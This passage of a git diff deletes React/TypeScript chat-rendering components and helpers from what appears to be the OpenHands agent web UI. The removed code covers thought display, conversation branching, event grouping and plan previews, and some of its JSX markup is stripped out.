    - - - {expanded && ( -
    - - {children} - -
    - )} -
    - ); -} diff --git a/src/components/conversation-events/chat/event-message-components/finish-event-message.tsx b/src/components/conversation-events/chat/event-message-components/finish-event-message.tsx deleted file mode 100644 index 6cfee059d..000000000 --- a/src/components/conversation-events/chat/event-message-components/finish-event-message.tsx +++ /dev/null @@ -1,34 +0,0 @@ -import { ActionEvent } from "#/types/agent-server/core"; -import { FinishAction } from "#/types/agent-server/core/base/action"; -import { ChatMessage } from "../../../features/chat/chat-message"; -import { getEventContent } from "../event-content-helpers/get-event-content"; -import { CriticResultDisplay } from "./critic-result-display"; - -interface FinishEventMessageProps { - event: ActionEvent; - isFromPlanningAgent?: boolean; -} - -export function FinishEventMessage({ - event, - isFromPlanningAgent = false, -}: FinishEventMessageProps) { - const eventContent = getEventContent(event); - const message = - typeof eventContent.details === "string" - ? eventContent.details - : String(eventContent.details); - - return ( - <> - - {event.critic_result != null && ( - - )} - - ); -} diff --git a/src/components/conversation-events/chat/event-message-components/generic-event-message-wrapper.tsx b/src/components/conversation-events/chat/event-message-components/generic-event-message-wrapper.tsx deleted file mode 100644 index 6dd0c02f0..000000000 --- a/src/components/conversation-events/chat/event-message-components/generic-event-message-wrapper.tsx +++ /dev/null @@ -1,122 +0,0 @@ -import { - OpenHandsEvent, - ActionEvent, - ObservationEvent, -} from "#/types/agent-server/core"; -import { InvokeSkillObservation } from "#/types/agent-server/core/base/observation"; -import { I18nKey } from "#/i18n/declaration"; -import { GenericEventMessage } from "../../../features/chat/generic-event-message"; -import { getEventContent } from "../event-content-helpers/get-event-content"; -import { - getACPToolCallResult, - getObservationResult, - ObservationResultStatus, -} from "../event-content-helpers/get-observation-result"; -import { - isACPToolCallEvent, - isObservationEvent, -} from "#/types/agent-server/type-guards"; -import { - SkillReadyEvent, - SkillReadyItem, - isSkillReadyEvent, -} from "../event-content-helpers/create-skill-ready-event"; -import { getInvokeSkillItems } from "../event-content-helpers/get-invoke-skill-items"; -import { ConversationConfirmationButtons } from "#/components/shared/buttons/conversation-confirmation-buttons"; -import { SkillReadyContentList } from "./skill-ready-content-list"; -import SkillsIcon from "#/icons/skills.svg?react"; - -interface GenericEventMessageWrapperProps { - event: OpenHandsEvent | SkillReadyEvent; - isLastMessage: boolean; - correspondingAction?: ActionEvent; -} - -/** - * Resolves the expandable skill-knowledge list shared by Skill Ready events and - * invoke-skill tool observations. Returns the list items and their header - * label, or null when the event carries no skill knowledge (so the caller keeps - * the default details body). Additional skill-knowledge sources slot in as one - * more branch here. - */ -function getSkillKnowledge( - event: OpenHandsEvent | SkillReadyEvent, -): { items: SkillReadyItem[]; titleKey: I18nKey } | null { - if (isSkillReadyEvent(event)) { - return event._skillReadyItems.length > 0 - ? { - items: event._skillReadyItems, - titleKey: I18nKey.SKILLS$TRIGGERED_SKILL_KNOWLEDGE, - } - : null; - } - if ( - isObservationEvent(event) && - event.observation.kind === "InvokeSkillObservation" - ) { - const items = getInvokeSkillItems( - event as ObservationEvent, - ); - return items.length > 0 - ? { items, titleKey: I18nKey.SKILLS$INVOKED_SKILL_KNOWLEDGE } - : null; - } - return null; -} - -export function GenericEventMessageWrapper({ - event, - isLastMessage, - correspondingAction, -}: GenericEventMessageWrapperProps) { - const { title, details } = getEventContent(event, correspondingAction); - - // TaskTrackerObservation has its own rendering - if ( - !isSkillReadyEvent(event) && - isObservationEvent(event) && - event.observation.kind === "TaskTrackerObservation" - ) { - return
    {details}
    ; - } - - // Determine success status - let success: ObservationResultStatus | undefined; - if (isSkillReadyEvent(event)) { - success = "success"; - } else if (isObservationEvent(event)) { - success = getObservationResult(event); - } else if (isACPToolCallEvent(event)) { - success = getACPToolCallResult(event); - } - - // Skill Ready events and invoke-skill tool observations both render the - // expandable skill-knowledge list (with the skills icon); they differ only in - // the header label. - const skillKnowledge = getSkillKnowledge(event); - const bodyDetails = skillKnowledge ? ( - - ) : ( - details - ); - - return ( -
    - - ) : undefined - } - /> - {isLastMessage && } -
    - ); -} diff --git a/src/components/conversation-events/chat/event-message-components/hook-execution-event-message.tsx b/src/components/conversation-events/chat/event-message-components/hook-execution-event-message.tsx deleted file mode 100644 index 4bec021ab..000000000 --- a/src/components/conversation-events/chat/event-message-components/hook-execution-event-message.tsx +++ /dev/null @@ -1 +0,0 @@ -export { HookExecutionEventMessage } from "#/components/shared/hook-execution-event-message"; diff --git a/src/components/conversation-events/chat/event-message-components/index.ts b/src/components/conversation-events/chat/event-message-components/index.ts deleted file mode 100644 index 6644066fc..000000000 --- a/src/components/conversation-events/chat/event-message-components/index.ts +++ /dev/null @@ -1,9 +0,0 @@ -export { UserAssistantEventMessage } from "./user-assistant-event-message"; -export { ObservationPairEventMessage } from "./observation-pair-event-message"; -export { ErrorEventMessage } from "./error-event-message"; -export { FinishEventMessage } from "./finish-event-message"; -export { GenericEventMessageWrapper } from "./generic-event-message-wrapper"; -export { ThoughtEventMessage } from "./thought-event-message"; -export { HookExecutionEventMessage } from "./hook-execution-event-message"; -export { EventGroup } from "./event-group"; -export { CriticResultDisplay } from "./critic-result-display"; diff --git a/src/components/conversation-events/chat/event-message-components/observation-pair-event-message.tsx b/src/components/conversation-events/chat/event-message-components/observation-pair-event-message.tsx deleted file mode 100644 index 5f8a0eada..000000000 --- a/src/components/conversation-events/chat/event-message-components/observation-pair-event-message.tsx +++ /dev/null @@ -1,37 +0,0 @@ -import React from "react"; -import { ActionEvent } from "#/types/agent-server/core"; -import { isActionEvent } from "#/types/agent-server/type-guards"; -import { ChatMessage } from "../../../features/chat/chat-message"; - -interface ObservationPairEventMessageProps { - event: ActionEvent; -} - -export function ObservationPairEventMessage({ - event, -}: ObservationPairEventMessageProps) { - if (!isActionEvent(event)) { - return null; - } - - // Check if there's thought content to display - const thoughtContent = event.thought - .filter((t) => t.type === "text") - .map((t) => t.text) - .join("\n"); - - // Defensive check: ensure action exists and has kind property - if ( - thoughtContent && - event.action?.kind && - event.action.kind !== "ThinkAction" - ) { - return ( -
    - -
    - ); - } - - return null; -} diff --git a/src/components/conversation-events/chat/event-message-components/skill-item-expanded.tsx b/src/components/conversation-events/chat/event-message-components/skill-item-expanded.tsx deleted file mode 100644 index e9da328d8..000000000 --- a/src/components/conversation-events/chat/event-message-components/skill-item-expanded.tsx +++ /dev/null @@ -1,96 +0,0 @@ -import { useTranslation } from "react-i18next"; -import { I18nKey } from "#/i18n/declaration"; -import { METADATA_PREFIXES } from "#/utils/constants"; -import { Typography } from "#/ui/typography"; -import { MarkdownRenderer } from "../../../features/markdown/markdown-renderer"; - -interface ParsedSkillContent { - matchInfo: string | null; - filePath: string | null; - body: string; -} - -/** - * Parses skill content into metadata (keyword match info, file path) - * and the actual skill body. - */ -export function parseSkillContent(content: string): ParsedSkillContent { - const lines = content.split("\n"); - let matchInfo: string | null = null; - let filePath: string | null = null; - let bodyStartIndex = 0; - - for (let i = 0; i < lines.length; i += 1) { - const line = lines[i]; - - if (line.startsWith(METADATA_PREFIXES[0])) { - matchInfo = line.trim(); - bodyStartIndex = i + 1; - } else if (line.startsWith(METADATA_PREFIXES[2])) { - filePath = line.replace(METADATA_PREFIXES[2], "").trim(); - bodyStartIndex = i + 1; - } else if ( - line.startsWith(METADATA_PREFIXES[1]) || - line.startsWith(METADATA_PREFIXES[3]) - ) { - bodyStartIndex = i + 1; - } else if (line.trim() === "" && i <= bodyStartIndex) { - bodyStartIndex = i + 1; - } else { - break; - } - } - - return { - matchInfo, - filePath, - body: lines.slice(bodyStartIndex).join("\n").trim(), - }; -} - -/** - * Wraps `...` tags in the content with bold markers - * so the markdown renderer displays them as bold text. - */ -export function styleImportantTags(text: string): string { - return text.replace( - /([\s\S]*?)<\/important>/gi, - (_match, inner) => `**${inner.trim()}**`, - ); -} - -interface SkillItemExpandedProps { - content: string; -} - -export function SkillItemExpanded({ content }: SkillItemExpandedProps) { - const { t } = useTranslation("openhands"); - const { matchInfo, filePath, body } = parseSkillContent(content); - const hasMetadata = matchInfo || filePath; - - return ( -
    - {hasMetadata && ( -
    - {matchInfo &&

    {matchInfo}

    } - {filePath && ( -

    - - {t(I18nKey.COMMON$PATH)}{" "} - - - {filePath} - -

    - )} -
    - )} - - {hasMetadata && body && ( -
    - )} - - {body && {styleImportantTags(body)}} -
    - ); -} diff --git a/src/components/conversation-events/chat/event-message-components/skill-ready-content-list.tsx b/src/components/conversation-events/chat/event-message-components/skill-ready-content-list.tsx deleted file mode 100644 index 97018eb26..000000000 --- a/src/components/conversation-events/chat/event-message-components/skill-ready-content-list.tsx +++ /dev/null @@ -1,73 +0,0 @@ -import React from "react"; -import { useTranslation } from "react-i18next"; -import { ChevronDown, ChevronRight } from "lucide-react"; -import { I18nKey } from "#/i18n/declaration"; -import { Typography } from "#/ui/typography"; -import { SkillReadyItem } from "../event-content-helpers/create-skill-ready-event"; -import { SkillItemExpanded } from "./skill-item-expanded"; - -interface SkillReadyContentListProps { - items: SkillReadyItem[]; - /** - * Translation key for the list header. Defaults to the "Triggered Skill - * Knowledge:" label used by Skill Ready events; invoke-skill observations - * pass "Invoked Skill Knowledge:" instead. - */ - titleKey?: I18nKey; -} - -export function SkillReadyContentList({ - items, - titleKey = I18nKey.SKILLS$TRIGGERED_SKILL_KNOWLEDGE, -}: SkillReadyContentListProps) { - const { t } = useTranslation("openhands"); - const [expandedSkills, setExpandedSkills] = React.useState< - Record - >({}); - - const toggleSkill = (name: string) => { - setExpandedSkills((prev) => ({ ...prev, [name]: !prev[name] })); - }; - - return ( -
    - - {t(titleKey)} - - {items.map((item) => { - const isExpanded = expandedSkills[item.name] || false; - - return ( -
    - - - {isExpanded && item.content && ( - <> -
    - - - )} -
    - ); - })} -
    - ); -} diff --git a/src/components/conversation-events/chat/event-message-components/thought-event-message.tsx b/src/components/conversation-events/chat/event-message-components/thought-event-message.tsx deleted file mode 100644 index 25c6110a7..000000000 --- a/src/components/conversation-events/chat/event-message-components/thought-event-message.tsx +++ /dev/null @@ -1,39 +0,0 @@ -import React from "react"; -import { ActionEvent } from "#/types/agent-server/core"; -import { ChatMessage } from "../../../features/chat/chat-message"; - -interface ThoughtEventMessageProps { - event: ActionEvent; - actions?: Array<{ - icon: React.ReactNode; - onClick: () => void; - tooltip?: string; - }>; - isFromPlanningAgent?: boolean; -} - -export function ThoughtEventMessage({ - event, - actions, - isFromPlanningAgent = false, -}: ThoughtEventMessageProps) { - // Extract thought content from the action event - const thoughtContent = event.thought - .filter((t) => t.type === "text") - .map((t) => t.text) - .join("\n"); - - // If there's no thought content, don't render anything - if (!thoughtContent) { - return null; - } - - return ( - - ); -} diff --git a/src/components/conversation-events/chat/event-message-components/user-assistant-event-message.tsx b/src/components/conversation-events/chat/event-message-components/user-assistant-event-message.tsx deleted file mode 100644 index f165deee5..000000000 --- a/src/components/conversation-events/chat/event-message-components/user-assistant-event-message.tsx +++ /dev/null @@ -1,134 +0,0 @@ -import React from "react"; -import { useTranslation } from "react-i18next"; -import { useNavigation } from "#/context/navigation-context"; -import { MessageEvent } from "#/types/agent-server/core"; -import { ChatMessage } from "../../../features/chat/chat-message"; -import { ImageCarousel } from "../../../features/images/image-carousel"; -import { ConversationConfirmationButtons } from "#/components/shared/buttons/conversation-confirmation-buttons"; -import { parseMessageFromEvent } from "../event-content-helpers/parse-message-from-event"; -import { CriticResultDisplay } from "./critic-result-display"; -import { CollapsibleThinking } from "./collapsible-thinking"; -import { splitInlineThink } from "../event-thought-helpers"; -import RepoForkedIcon from "#/icons/repo-forked.svg?react"; -import { I18nKey } from "#/i18n/declaration"; -import { useOptionalConversationId } from "#/hooks/use-conversation-id"; -import { useActiveBackend } from "#/contexts/active-backend-context"; -import { useForkConversation } from "#/hooks/mutation/use-fork-conversation"; -import { useConversationStore } from "#/stores/conversation-store"; -import ConversationService from "#/api/conversation-service/conversation-service.api"; -import { displayErrorToast } from "#/utils/custom-toast-handlers"; - -interface UserAssistantEventMessageProps { - event: MessageEvent; - isLastMessage: boolean; - isFromPlanningAgent: boolean; -} - -export function UserAssistantEventMessage({ - event, - isLastMessage, - isFromPlanningAgent, -}: UserAssistantEventMessageProps) { - const { t } = useTranslation("openhands"); - const { navigate } = useNavigation(); - const { conversationId } = useOptionalConversationId(); - const isCloud = useActiveBackend().backend.kind === "cloud"; - const { mutate: forkConversation, isPending: isForking } = - useForkConversation(); - const setMessageToSend = useConversationStore( - (state) => state.setMessageToSend, - ); - // Blocks a same-tick double-click, before `isForking` flips. - const forkInFlightRef = React.useRef(false); - - const parsed = parseMessageFromEvent(event); - // Route an inline block (e.g. from a streamed reply) to the thinking - // section so reloaded conversations match the live rendering. - const { reasoning, message } = - event.source === "agent" - ? splitInlineThink(parsed) - : { reasoning: "", message: parsed }; - - const imageUrls: string[] = []; - if (Array.isArray(event.llm_message.content)) { - event.llm_message.content.forEach((content) => { - if (content.type === "image") { - imageUrls.push(...content.image_urls); - } - }); - } - - // "Branch from here": a user message is "edit message" (excludes the message, - // restores its text to the composer); an assistant message branches - // inclusively. Local agent-server only, inside a conversation. - const canBranch = !isCloud && !!conversationId; - const handleBranch = () => { - if (!conversationId || isForking || forkInFlightRef.current) return; - forkInFlightRef.current = true; - - // Distinct title so the fork doesn't read identically to its source. - // getCurrentConversation() is a shared singleton — match the id in case it - // still holds the previously-viewed conversation. - const source = ConversationService.getCurrentConversation(); - const sourceTitle = - source?.id === conversationId ? source.title : undefined; - const branchTitle = sourceTitle ? `${sourceTitle} (branch)` : undefined; - - // Only edit when there's text: an image-only message parses to "", so - // branch it inclusively rather than dropping the image. - const isEdit = event.source === "user" && message.length > 0; - - forkConversation( - { - sourceConversationId: conversationId, - eventId: event.id, - ...(isEdit ? { editText: message } : {}), - ...(branchTitle ? { title: branchTitle } : {}), - }, - { - onSuccess: ({ info, excluded }) => { - navigate(`/conversations/${info.id}`); - // Prefill only when excluded (else the send duplicates it). Deferred - // so the new conversation's composer receives it (as useLaunchSkillInChat). - if (excluded) { - window.setTimeout(() => setMessageToSend(message), 0); - } - }, - onError: (error) => - displayErrorToast(error instanceof Error ? error.message : null), - onSettled: () => { - forkInFlightRef.current = false; - }, - }, - ); - }; - const actions = canBranch - ? [ - { - icon: , - onClick: handleBranch, - tooltip: t(I18nKey.CHAT_INTERFACE$BRANCH_FROM_HERE), - }, - ] - : undefined; - - return ( - <> - {reasoning && } - - {imageUrls.length > 0 && ( - - )} - {isLastMessage && } - - {event.source === "agent" && event.critic_result != null && ( - - )} - - ); -} diff --git a/src/components/conversation-events/chat/event-message.tsx b/src/components/conversation-events/chat/event-message.tsx deleted file mode 100644 index 291ab419a..000000000 --- a/src/components/conversation-events/chat/event-message.tsx +++ /dev/null @@ -1,347 +0,0 @@ -import React from "react"; -import { - OpenHandsEvent, - MessageEvent, - ActionEvent, -} from "#/types/agent-server/core"; -import { - FinishAction, - ThinkAction, -} from "#/types/agent-server/core/base/action"; -import { - isActionEvent, - isObservationEvent, - isAgentErrorEvent, - isUserMessageEvent, - isPlanningFileEditorObservationEvent, - isHookExecutionEvent, - isACPToolCallEvent, - isStreamingDeltaEvent, - isConversationStateUpdateEvent, - isGoalConversationStateUpdateEvent, -} from "#/types/agent-server/type-guards"; -import { useConfig } from "#/hooks/query/use-config"; -import { useConversationStore } from "#/stores/conversation-store"; -import { useAgentState } from "#/hooks/use-agent-state"; -import { AgentState } from "#/types/agent-state"; -import { ChatMessage } from "#/components/features/chat/chat-message"; -import { GoalStatusContent } from "#/components/features/chat/goal-status-content"; -import { PlanPreview } from "../../features/chat/plan-preview"; -import { ErrorEventMessage } from "./event-message-components/error-event-message"; -import { UserAssistantEventMessage } from "./event-message-components/user-assistant-event-message"; -import { FinishEventMessage } from "./event-message-components/finish-event-message"; -import { GenericEventMessageWrapper } from "./event-message-components/generic-event-message-wrapper"; -import { ThoughtEventMessage } from "./event-message-components/thought-event-message"; -import { CollapsibleThinking } from "./event-message-components/collapsible-thinking"; -import { HookExecutionEventMessage } from "./event-message-components/hook-execution-event-message"; -import { createSkillReadyEvent } from "./event-content-helpers/create-skill-ready-event"; -import { shouldShowPlanPreview } from "./hooks/use-plan-preview-events"; -import { getReasoningContent, splitInlineThink } from "./event-thought-helpers"; - -interface EventMessageProps { - event: OpenHandsEvent & { isFromPlanningAgent?: boolean }; - messages: OpenHandsEvent[]; - isLastMessage: boolean; - isInLast10Actions: boolean; - /** Set of event IDs that should render PlanPreview (one per user message phase) */ - planPreviewEventIds?: Set; - /** - * When true, do not render the inline `ThoughtEventMessage` for action / - * observation events. The caller is expected to render the thought - * separately (e.g. via a hoisted "thought" rendered item) so the message - * pane and the in-group rendering don't double up on the same content. - * Has no effect on `ThinkAction`, whose thought IS its action body. - */ - suppressThought?: boolean; -} - -/** - * Extracts activated skills from a MessageEvent, supporting both - * activated_skills and activated_microagents field names. - */ -const getActivatedSkills = (event: MessageEvent): string[] => - (event as unknown as { activated_skills?: string[] }).activated_skills || - event.activated_microagents || - []; - -/** - * Checks if extended content contains valid text content. - */ -const hasValidExtendedContent = ( - extendedContent: MessageEvent["extended_content"], -): boolean => { - if (!extendedContent || extendedContent.length === 0) { - return false; - } - - return extendedContent.some( - (content) => content.type === "text" && content.text.trim().length > 0, - ); -}; - -/** - * Determines if a Skill Ready event should be displayed for the given message event. - */ -const shouldShowSkillReadyEvent = (messageEvent: MessageEvent): boolean => { - const activatedSkills = getActivatedSkills(messageEvent); - const hasActivatedSkills = activatedSkills.length > 0; - const hasExtendedContent = hasValidExtendedContent( - messageEvent.extended_content, - ); - - return hasActivatedSkills && hasExtendedContent; -}; - -interface CommonProps { - isLastMessage: boolean; - isInLast10Actions: boolean; - config: unknown; - isFromPlanningAgent: boolean; -} - -/** - * Renders a user message with its corresponding Skill Ready event. - */ -const renderUserMessageWithSkillReady = ( - messageEvent: MessageEvent, - commonProps: CommonProps, - isLastMessage: boolean, -): React.ReactElement => { - try { - const skillReadyEvent = createSkillReadyEvent(messageEvent); - return ( - <> - - - - ); - } catch (error) { - // If skill ready event creation fails, just render the user message - return ( - - ); - } -}; - -export function EventMessage({ - event, - messages, - isLastMessage, - isInLast10Actions, - planPreviewEventIds, - suppressThought = false, -}: EventMessageProps) { - const { data: config } = useConfig(); - const { planContent } = useConversationStore(); - const { curAgentState } = useAgentState(); - - // Disable Build button while agent is running (streaming) - const isAgentRunning = - curAgentState === AgentState.RUNNING || - curAgentState === AgentState.LOADING; - - // Read isFromPlanningAgent directly from the event object - const isFromPlanningAgent = event.isFromPlanningAgent || false; - - // Common props for components that need them - const commonProps = { - isLastMessage, - isInLast10Actions, - config, - isFromPlanningAgent, - }; - - // Finished `/goal` loop: render the terminal status inline so it settles into - // the conversation. should-render-event.ts only lets the terminal goal event - // through; the active loop is shown by the separate bottom GoalStatusBanner. - if ( - isConversationStateUpdateEvent(event) && - isGoalConversationStateUpdateEvent(event) - ) { - return ; - } - - // Agent error events - if (isAgentErrorEvent(event)) { - return ; - } - - // Hook execution events - if (isHookExecutionEvent(event)) { - return ; - } - - // ACP sub-agent tool call events (Claude Code, Codex, Gemini CLI, …) - // render through the same generic wrapper used for observation events so - // the card shape, success indicator and markdown rendering all match. - if (isACPToolCallEvent(event)) { - return ( - - ); - } - - if (isStreamingDeltaEvent(event)) { - // Route an inline block to the thinking section, not the bubble. - const { reasoning: inlineThink, message } = splitInlineThink( - event.content ?? "", - { streaming: true }, - ); - const reasoningContent = [event.reasoning_content ?? "", inlineThink] - .filter(Boolean) - .join("\n\n"); - return ( - <> - {reasoningContent && } - {message && ( - - )} - - ); - } - - // Finish actions - if (isActionEvent(event) && event.action.kind === "FinishAction") { - return ( - } - {...commonProps} - /> - ); - } - - // ThinkAction - render the thought inside a collapsible section so it - // doesn't dominate the chat, especially when the thinking language - // (usually English) differs from the conversation language. - if (isActionEvent(event) && event.action.kind === "ThinkAction") { - const thinkAction = event as ActionEvent; - return ; - } - - // Action events - render thought + action (will be replaced by thought + observation) - if (isActionEvent(event)) { - const reasoningContent = getReasoningContent(event); - return ( - <> - {reasoningContent && } - {!suppressThought && ( - - )} - - - ); - } - - // Observation events - find the corresponding action and render thought + observation - if (isObservationEvent(event)) { - // Handle PlanningFileEditorObservation specially - if (isPlanningFileEditorObservationEvent(event)) { - // Only show PlanPreview if this event is marked as the one to display - // (last PlanningFileEditorObservation in its phase) - if ( - planPreviewEventIds && - shouldShowPlanPreview(event.id, planPreviewEventIds) - ) { - // Show shine effect only if this is the last message AND agent is running - const isStreaming = - isLastMessage && curAgentState === AgentState.RUNNING; - return ( - - ); - } - // Not the designated preview event for this phase - render nothing - // This prevents duplicate previews within the same phase - return null; - } - - // Find the action that this observation is responding to - const correspondingAction = messages.find( - (msg) => isActionEvent(msg) && msg.id === event.action_id, - ); - - // Skip ThoughtEventMessage for ThinkAction (thought IS the action) - const shouldShowThought = - !suppressThought && - correspondingAction && - isActionEvent(correspondingAction) && - correspondingAction.action.kind !== "ThinkAction"; - - const reasoningContent = - correspondingAction && isActionEvent(correspondingAction) - ? getReasoningContent(correspondingAction) - : ""; - - return ( - <> - {reasoningContent && } - {shouldShowThought && ( - - )} - - - ); - } - - // Message events (user and assistant messages) - if (!isActionEvent(event) && !isObservationEvent(event)) { - const messageEvent = event as MessageEvent; - - // Check if this is a user message that should display a Skill Ready event - if (isUserMessageEvent(event) && shouldShowSkillReadyEvent(messageEvent)) { - return renderUserMessageWithSkillReady( - messageEvent, - commonProps, - isLastMessage, - ); - } - - // Render normal message event (user or assistant) - return ( - - ); - } - - // Generic fallback for all other events - return ( - - ); -} diff --git a/src/components/conversation-events/chat/event-thought-helpers.ts b/src/components/conversation-events/chat/event-thought-helpers.ts deleted file mode 100644 index 101240af6..000000000 --- a/src/components/conversation-events/chat/event-thought-helpers.ts +++ /dev/null @@ -1,112 +0,0 @@ -import { ActionEvent, OpenHandsEvent } from "#/types/agent-server/core"; -import { ThinkingBlock } from "#/types/agent-server/core/base/event"; -import { - isActionEvent, - isObservationEvent, -} from "#/types/agent-server/type-guards"; - -/** - * Returns the displayable thought text of an `ActionEvent`, or an empty - * string if the event has no usable thought content. - * - * Mirrors the logic used by `ThoughtEventMessage` so callers stay in sync - * with what gets rendered. - */ -export const getActionThoughtText = (action: ActionEvent): string => - action.thought - .filter((t) => t.type === "text") - .map((t) => t.text) - .join("\n"); - -/** - * Extracts extended thinking / reasoning content from an `ActionEvent`. - * - * Prefers `reasoning_content` (a plain string produced by many reasoning - * models). Falls back to the text from `thinking_blocks` (Anthropic - * extended thinking). Returns an empty string when neither is available. - */ -export const getReasoningContent = (action: ActionEvent): string => { - if (action.reasoning_content) { - return action.reasoning_content; - } - - if (action.thinking_blocks?.length) { - return action.thinking_blocks - .filter((b): b is ThinkingBlock => b.type === "thinking") - .map((b) => b.thinking) - .join("\n\n"); - } - - return ""; -}; - -export const hasNonEmptyThought = (action: ActionEvent): boolean => - getActionThoughtText(action).trim().length > 0; - -/** - * Splits a leading `…` reasoning block out of assistant content - * so it renders in the collapsible thinking section, not the message bubble. - * Some models stream reasoning inline instead of via `reasoning_content`. - * - * Conservative to avoid mangling normal messages: only a `` at the very - * start is touched (later occurrences, e.g. quoted in docs, stay verbatim), - * only the first block is peeled, and an unclosed leading `` is reasoning - * only while `streaming` — in a finalized message it's literal output. - */ -export const splitInlineThink = ( - content: string, - options?: { streaming?: boolean }, -): { reasoning: string; message: string } => { - const OPEN = ""; - const CLOSE = ""; - - // Only a at the very start is reasoning. - const leading = content.replace(/^\s+/, ""); - if (!leading.startsWith(OPEN)) { - return { reasoning: "", message: content }; - } - - const afterOpen = leading.slice(OPEN.length); - const close = afterOpen.indexOf(CLOSE); - - if (close === -1) { - // Unclosed: reasoning-in-progress while streaming, else literal output. - return options?.streaming - ? { reasoning: afterOpen.trim(), message: "" } - : { reasoning: "", message: content }; - } - - return { - reasoning: afterOpen.slice(0, close).trim(), - message: afterOpen.slice(close + CLOSE.length).trim(), - }; -}; - -/** - * Find the `ActionEvent` whose thought should be rendered alongside the - * given UI event. For an `ActionEvent` the thought belongs to itself; for - * an `ObservationEvent` we look up the matching action in `allEvents`. - * - * `ThinkAction` is intentionally excluded because its thought IS the - * action body and is rendered through a separate codepath. - */ -export const getThoughtSourceAction = ( - event: OpenHandsEvent, - allEvents: OpenHandsEvent[], -): ActionEvent | null => { - if (isActionEvent(event)) { - if (event.action.kind === "ThinkAction") return null; - return hasNonEmptyThought(event) ? event : null; - } - - if (isObservationEvent(event)) { - const action = allEvents.find( - (e): e is ActionEvent => isActionEvent(e) && e.id === event.action_id, - ); - if (!action) return null; - if (action.action.kind === "ThinkAction") return null; - return hasNonEmptyThought(action) ? action : null; - } - - return null; -}; diff --git a/src/components/conversation-events/chat/group-events.ts b/src/components/conversation-events/chat/group-events.ts deleted file mode 100644 index 211887592..000000000 --- a/src/components/conversation-events/chat/group-events.ts +++ /dev/null @@ -1,112 +0,0 @@ -import { ActionEvent, OpenHandsEvent } from "#/types/agent-server/core"; -import { - isActionEvent, - isObservationEvent, - isPlanningFileEditorObservationEvent, -} from "#/types/agent-server/type-guards"; -import { getThoughtSourceAction } from "./event-thought-helpers"; - -/** Minimum run-length before consecutive actions get folded into a single - * collapsible group. Even pairs are folded so the chat scroll stays compact - * when the agent fires off back-to-back tool calls. */ -export const EVENT_GROUP_MIN_SIZE = 2; - -/** - * Returns true if the given event is one of the action / observation cards - * that we want to fold into an `EventGroup` when several appear in a row. - * - * Events that have their own dedicated rendering (FinishAction, ThinkAction, - * HookExecution, AgentError, MessageEvent, PlanPreview, TaskTracker) are - * treated as group breakers. - */ -export const isGroupableEvent = (event: OpenHandsEvent): boolean => { - if (isActionEvent(event)) { - const { kind } = event.action; - if (kind === "FinishAction" || kind === "ThinkAction") { - return false; - } - return true; - } - - if (isObservationEvent(event)) { - if (isPlanningFileEditorObservationEvent(event)) { - return false; - } - if (event.observation.kind === "TaskTrackerObservation") { - return false; - } - return true; - } - - return false; -}; - -export type RenderedItem = - | { kind: "single"; event: OpenHandsEvent; index: number } - | { kind: "thought"; action: ActionEvent; index: number } - | { kind: "group"; events: OpenHandsEvent[]; startIndex: number }; - -/** - * Walk a list of UI events and bucket consecutive groupable events into - * `group` items. Anything that breaks the run, or runs shorter than - * `EVENT_GROUP_MIN_SIZE`, is emitted as `single` items so they keep rendering - * the way they always have. - * - * Whenever a groupable event carries an agent thought (either an - * `ActionEvent.thought` or the corresponding action of an - * `ObservationEvent`), the thought is hoisted out as its own `thought` - * `RenderedItem`, the current run is flushed, and a new run is started with - * the event itself. This keeps reasoning text in the main message stream - * instead of buried inside a collapsed action group. - * - * `allEvents` should be the full event history so observations can find - * their matching action; if omitted, it defaults to `events`. - */ -export const groupEvents = ( - events: OpenHandsEvent[], - minSize: number = EVENT_GROUP_MIN_SIZE, - allEvents: OpenHandsEvent[] = events, -): RenderedItem[] => { - if (minSize < 1) { - throw new Error("minSize must be at least 1"); - } - - const items: RenderedItem[] = []; - const emittedThoughtActionIds = new Set(); - let run: { events: OpenHandsEvent[]; startIndex: number } | null = null; - - const flushRun = () => { - if (!run) return; - if (run.events.length >= minSize) { - items.push({ - kind: "group", - events: run.events, - startIndex: run.startIndex, - }); - } else { - run.events.forEach((event, offset) => { - items.push({ kind: "single", event, index: run!.startIndex + offset }); - }); - } - run = null; - }; - - events.forEach((event, index) => { - if (isGroupableEvent(event)) { - const thoughtAction = getThoughtSourceAction(event, allEvents); - if (thoughtAction && !emittedThoughtActionIds.has(thoughtAction.id)) { - flushRun(); - emittedThoughtActionIds.add(thoughtAction.id); - items.push({ kind: "thought", action: thoughtAction, index }); - } - if (!run) run = { events: [], startIndex: index }; - run.events.push(event); - } else { - flushRun(); - items.push({ kind: "single", event, index }); - } - }); - - flushRun(); - return items; -}; diff --git a/src/components/conversation-events/chat/hooks/use-plan-preview-events.ts b/src/components/conversation-events/chat/hooks/use-plan-preview-events.ts deleted file mode 100644 index 2c639534e..000000000 --- a/src/components/conversation-events/chat/hooks/use-plan-preview-events.ts +++ /dev/null @@ -1,119 +0,0 @@ -import { useMemo } from "react"; -import { OpenHandsEvent } from "#/types/agent-server/core"; -import { - isUserMessageEvent, - isPlanningFileEditorObservationEvent, -} from "#/types/agent-server/type-guards"; - -/** - * Groups events into phases based on user messages. - * A phase starts with a user message and includes all subsequent events - * until the next user message. - * - * @param events - The full list of events - * @returns Array of phases, where each phase is an array of events - */ -function groupEventsByPhase(events: OpenHandsEvent[]): OpenHandsEvent[][] { - const phases: OpenHandsEvent[][] = []; - let currentPhase: OpenHandsEvent[] = []; - - for (const event of events) { - if (isUserMessageEvent(event)) { - // Start a new phase with the user message - if (currentPhase.length > 0) { - phases.push(currentPhase); - } - currentPhase = [event]; - } else { - // Add event to current phase - currentPhase.push(event); - } - } - - // Don't forget the last phase - if (currentPhase.length > 0) { - phases.push(currentPhase); - } - - return phases; -} - -const isPlanFilePath = (path: string | null): boolean => - path?.toUpperCase().endsWith("PLAN.MD") ?? false; - -/** - * Finds the last PlanningFileEditorObservation for Plan.md in a phase. - * - * @param phase - Array of events in a phase - * @returns The event ID of the last Plan.md observation, or null - */ -function findLastPlanningObservationInPhase( - phase: OpenHandsEvent[], -): string | null { - for (let i = phase.length - 1; i >= 0; i -= 1) { - const event = phase[i]; - if ( - isPlanningFileEditorObservationEvent(event) && - isPlanFilePath(event.observation.path) - ) { - return event.id; - } - } - return null; -} - -export interface PlanPreviewEventInfo { - eventId: string; - /** Index of this plan preview in the conversation (1st, 2nd, etc.) */ - phaseIndex: number; -} - -/** - * Hook to determine which PlanningFileEditorObservation events should render PlanPreview. - * - * This hook implements phase-based grouping where: - * - A phase starts with a user message and ends at the next user message - * - Only the LAST PlanningFileEditorObservation in each phase shows PlanPreview - * - This ensures only one preview per user request, even with multiple observations - * - 